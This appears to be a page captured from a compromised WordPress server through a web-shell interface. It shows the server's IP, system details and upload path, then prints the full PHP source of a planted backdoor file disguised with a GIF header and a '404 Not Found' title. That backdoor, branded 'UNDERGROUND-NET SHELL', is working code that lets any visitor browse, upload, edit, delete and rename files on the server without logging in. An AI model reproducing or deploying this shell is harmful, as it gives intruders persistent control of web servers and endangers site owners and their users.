403WebShell

403Webshell
Server IP : 52.25.153.185 / Your IP : 216.73.216.222
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF
Directory : /bitnami/wordpress/wp-content/uploads/WPL/4584/
Upload File :
[ Back ]
Current File : /bitnami/wordpress/wp-content/uploads/WPL/4584/jqxuinqz.php
GIF89a;
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>404 Not Found</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css">
    <!-- SweetAlert2 CSS -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css">
    <style>
        body {
            background-color: #121212;
            color: #ffffff;
        }
        .navbar, .breadcrumb {
            background-color: #2e7d32;
        }
        .breadcrumb a {
            color: #ffffff;
            text-decoration: none;
        }
        .breadcrumb a:hover {
            text-decoration: underline;
        }
        .table {
            color: white;
        }
        .btn-dark-green {
            background-color: #343740 !important;
            border: none;
            color: white;
            padding: 10px 15px;
            margin: 2px;
        }
        .btn-dark-green:hover {
            background-color: #1b5e20 !important;
        }
        a.folder-link {
            color: #78d695 !important;
            font-weight: bold;
        }
        a.folder-link:hover {
            text-decoration: underline;
        }
        a.file-link {
            color: white !important;
            text-decoration: none;
        }
        a.file-link:hover {
            color: #76ff03 !important; /* Hijau cerah saat dihover */
        }
        .upload-form {
            background-color: #121212;
            padding: 20px;
            border-radius: 5px;
            margin-top: 20px;
        }
    </style>
    
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>
function confirmAction(action, callback) {
    Swal.fire({
        title: 'Apakah Anda yakin?',
        text: "Anda akan " + action + " file ini!",
        icon: 'warning',
        showCancelButton: true,
        confirmButtonColor: '#0f0',
        cancelButtonColor: '#d33',
        confirmButtonText: 'Ya, lanjutkan!',
        cancelButtonText: 'Batal'
    }).then((result) => {
        if (result.isConfirmed) {
            callback();
        }
    });
}

// Contoh penggunaan pada tombol hapus
function deleteFile(fileName) {
    confirmAction("menghapus", function() {
        window.location.href = "delete.php?file=" + encodeURIComponent(fileName);
    });
}

// Contoh penggunaan pada tombol rename
function renameFile(oldName) {
    Swal.fire({
        title: 'Masukkan nama baru',
        input: 'text',
        inputValue: oldName,
        showCancelButton: true,
        confirmButtonColor: '#0f0',
        cancelButtonColor: '#d33',
        confirmButtonText: 'Rename',
        cancelButtonText: 'Batal'
    }).then((result) => {
        if (result.isConfirmed && result.value) {
            window.location.href = "rename.php?old=" + encodeURIComponent(oldName) + "&new=" + encodeURIComponent(result.value);
        }
    });
}

// Contoh penggunaan pada tombol upload
function uploadFile() {
    Swal.fire({
        title: 'Upload File',
        input: 'file',
        showCancelButton: true,
        confirmButtonColor: '#0f0',
        cancelButtonColor: '#d33',
        confirmButtonText: 'Upload',
        cancelButtonText: 'Batal'
    }).then((result) => {
        if (result.isConfirmed && result.value) {
            document.getElementById('uploadForm').submit();
        }
    });
}
</script>

</head>
<body>

<?php
session_start();
error_reporting(0);

function encodePath($path) {
    return str_replace("/", "â", $path);
}

function decodePath($path) {
    return str_replace("â", "/", $path);
}

function getFilePermissions($file) {
    return substr(sprintf('%o', fileperms($file)), -4);
}

$root_path = __DIR__;
$p = isset($_GET['p']) ? decodePath($_GET['p']) : $root_path;

if (!is_dir($p)) {
    echo "<script>
            Swal.fire({
                icon: 'error',
                title: 'Error',
                text: 'Direktori tidak ditemukan!',
            }).then(() => {
                window.location.replace('?');
            });
          </script>";
    exit;
}

define("PATH", $p);
$server_ip = $_SERVER['SERVER_ADDR'];
$user_ip = $_SERVER['REMOTE_ADDR'];
$system_info = php_uname();

echo "
<nav class='d-flex align-items-center3'>
    <div class='container-fluid'>
        <div class='d-flex align-items-center'>
            <img src='https://a.top4top.io/p_3163llkk21.png' width='100' height='100' alt='UNDERGROUND-NET' class='me-2'>
            <h5 class='m-0'>UNDERGROUND-NET SHELL</h5>
        </div>
        <div>
            <small><b>ð¥ï¸Server IP: </b><i>$server_ip</i><br><b>ðYour IP: </b><i>$user_ip</i></small><br>
            <small><b>ð§System: </b><i>$system_info</i></small>
        </div>
        <div>
            <a href='?' class='btn btn-dark-green'>HOME</a>
            <a href='?p=" . urlencode(encodePath(PATH)) . "&upload' class='btn btn-dark-green'>UPLOAD</a>
        </div>
    </div>
</nav>
";

echo "<nav class='breadcrumb p-3'>";
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
$build_path = "";
foreach ($paths as $id => $dir_part) {
    if ($id > 0) $build_path .= "/";
    $build_path .= $dir_part;
    echo "<a href='?p=" . urlencode(encodePath($build_path)) . "' class='breadcrumb-item'>$dir_part</a>";
}
echo "</nav>";

$items = scandir(PATH);
$folders = [];
$files = [];

foreach ($items as $item) {
    if ($item == '.' || $item == '..') continue;
    $full_path = PATH . '/' . $item;
    is_dir($full_path) ? $folders[] = $item : $files[] = $item;
}

echo "<table class='table table-hover'>";
echo "<thead><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr></thead>";
echo "<tbody>";

foreach ($folders as $folder) {
    $folder_path = PATH . '/' . $folder;
    echo "<tr>
        <td><i class='fa fa-folder'></i> <a href='?p=" . urlencode(encodePath($folder_path)) . "' class='folder-link'>$folder</a></td>
        <td>--</td>
        <td>" . date("Y-m-d H:i:s", filemtime($folder_path)) . "</td>
        <td>" . getFilePermissions($folder_path) . "</td>
        <td>
            <a href='?p=" . urlencode(encodePath(PATH)) . "&rename=" . urlencode(encodePath($folder_path)) . "' class='text-warning'><i class='fa fa-edit'></i></a>
            <a href='?p=" . urlencode(encodePath(PATH)) . "&delete=" . urlencode(encodePath($folder_path)) . "' class='text-danger'><i class='fa fa-trash'></i></a>
        </td>
    </tr>";
}

foreach ($files as $file) {
    $file_path = PATH . '/' . $file;
    echo "<tr>
        <td><i class='fa fa-file'></i> <a href='?p=" . urlencode(encodePath($file_path)) . "' class='file-link'>$file</a></td>
        <td>" . filesize($file_path) . " bytes</td>
        <td>" . date("Y-m-d H:i:s", filemtime($file_path)) . "</td>
        <td>" . getFilePermissions($file_path) . "</td>
        <td>
            <a href='?p=" . urlencode(encodePath(PATH)) . "&edit=" . urlencode(encodePath($file_path)) . "' class='text-primary'><i class='fa fa-pen'></i></a>
            <a href='?p=" . urlencode(encodePath(PATH)) . "&delete=" . urlencode(encodePath($file_path)) . "' class='text-danger'><i class='fa fa-trash'></i></a>
            <a href='?p=" . urlencode(encodePath(PATH)) . "&rename=" . urlencode(encodePath($file_path)) . "' class='text-warning'><i class='fa fa-edit'></i></a>
        </td>
    </tr>";
}

echo "</tbody></table>";

// Fitur Upload File
if (isset($_GET['upload'])) {
    echo '<div class="upload-form">
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="file" class="form-control">
                <button type="submit" name="upload" class="btn btn-dark-green mt-2">Upload</button>
            </form>
          </div>';
    if (isset($_POST['upload'])) {
        $file = $_FILES['file'];
        $destination = PATH . '/' . basename($file['name']);
        if (move_uploaded_file($file['tmp_name'], $destination)) {
            echo "<script>
                    Swal.fire({
                        icon: 'success',
                        title: 'Success',
                        text: 'File uploaded!',
                    }).then(() => {
                        window.location.href='?p=" . encodePath(PATH) . "';
                    });
                  </script>";
        } else {
            echo "<script>
                    Swal.fire({
                        icon: 'error',
                        title: 'Error',
                        text: 'Gagal mengupload file!',
                    }).then(() => {
                        window.location.href='?p=" . encodePath(PATH) . "';
                    });
                  </script>";
        }
    }
}

// Fitur Edit File
if (isset($_GET['edit'])) {
    $edit_path = decodePath($_GET['edit']);
    $content = htmlspecialchars(file_get_contents($edit_path));
    echo "
    <div class='upload-form'>
        <form method='post'>
            <textarea name='file_content' class='form-control' rows='10'>$content</textarea>
            <button type='submit' name='save_file' class='btn btn-dark-green mt-2'>Save</button>
        </form>
    </div>";
    if (isset($_POST['save_file'])) {
        file_put_contents($edit_path, $_POST['file_content']);
        echo "<script>
                Swal.fire({
                    icon: 'success',
                    title: 'Success',
                    text: 'File saved!',
                }).then(() => {
                    window.location.href='?p=" . encodePath(PATH) . "';
                });
              </script>";
    }
}

// Fitur Hapus File/Direktori
if (isset($_GET['delete'])) {
    $delete_path = decodePath($_GET['delete']);
    if (file_exists($delete_path)) {
        if (is_dir($delete_path)) {
            rmdir($delete_path);
        } else {
            unlink($delete_path);
        }
        echo "<script>
                Swal.fire({
                    icon: 'success',
                    title: 'Success',
                    text: 'File/direktori berhasil dihapus!',
                }).then(() => {
                    window.location.href='?p=" . encodePath(PATH) . "';
                });
              </script>";
    } else {
        echo "<script>
                Swal.fire({
                    icon: 'error',
                    title: 'Error',
                    text: 'File/direktori tidak ditemukan!',
                }).then(() => {
                    window.location.href='?p=" . encodePath(PATH) . "';
                });
              </script>";
    }
}

// Fitur Rename File/Direktori
if (isset($_GET['rename'])) {
    $rename_path = decodePath($_GET['rename']);
    if (file_exists($rename_path)) {
        if (isset($_POST['new_name'])) {
            $new_name = PATH . '/' . $_POST['new_name'];
            if (rename($rename_path, $new_name)) {
                echo "<script>
                        Swal.fire({
                            icon: 'success',
                            title: 'Success',
                            text: 'File/direktori berhasil diubah nama!',
                        }).then(() => {
                            window.location.href='?p=" . encodePath(PATH) . "';
                        });
                      </script>";
            } else {
                echo "<script>
                        Swal.fire({
                            icon: 'error',
                            title: 'Error',
                            text: 'Gagal mengubah nama file/direktori!',
                        }).then(() => {
                            window.location.href='?p=" . encodePath(PATH) . "';
                        });
                      </script>";
            }
        }
        echo '<div class="upload-form">
                <form method="post">
                    <input type="text" name="new_name" class="form-control" placeholder="Masukkan nama baru">
                    <button type="submit" class="btn btn-dark-green mt-2">Rename</button>
                </form>
              </div>';
    } else {
        echo "<script>
                Swal.fire({
                    icon: 'error',
                    title: 'Error',
                    text: 'File/direktori tidak ditemukan!',
                }).then(() => {
                    window.location.href='?p=" . encodePath(PATH) . "';
                });
              </script>";
    }
}
?>

<!-- SweetAlert2 JS -->
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
</body>
</html>
Youez - 2016 - github.com/yon3zu
LinuXploit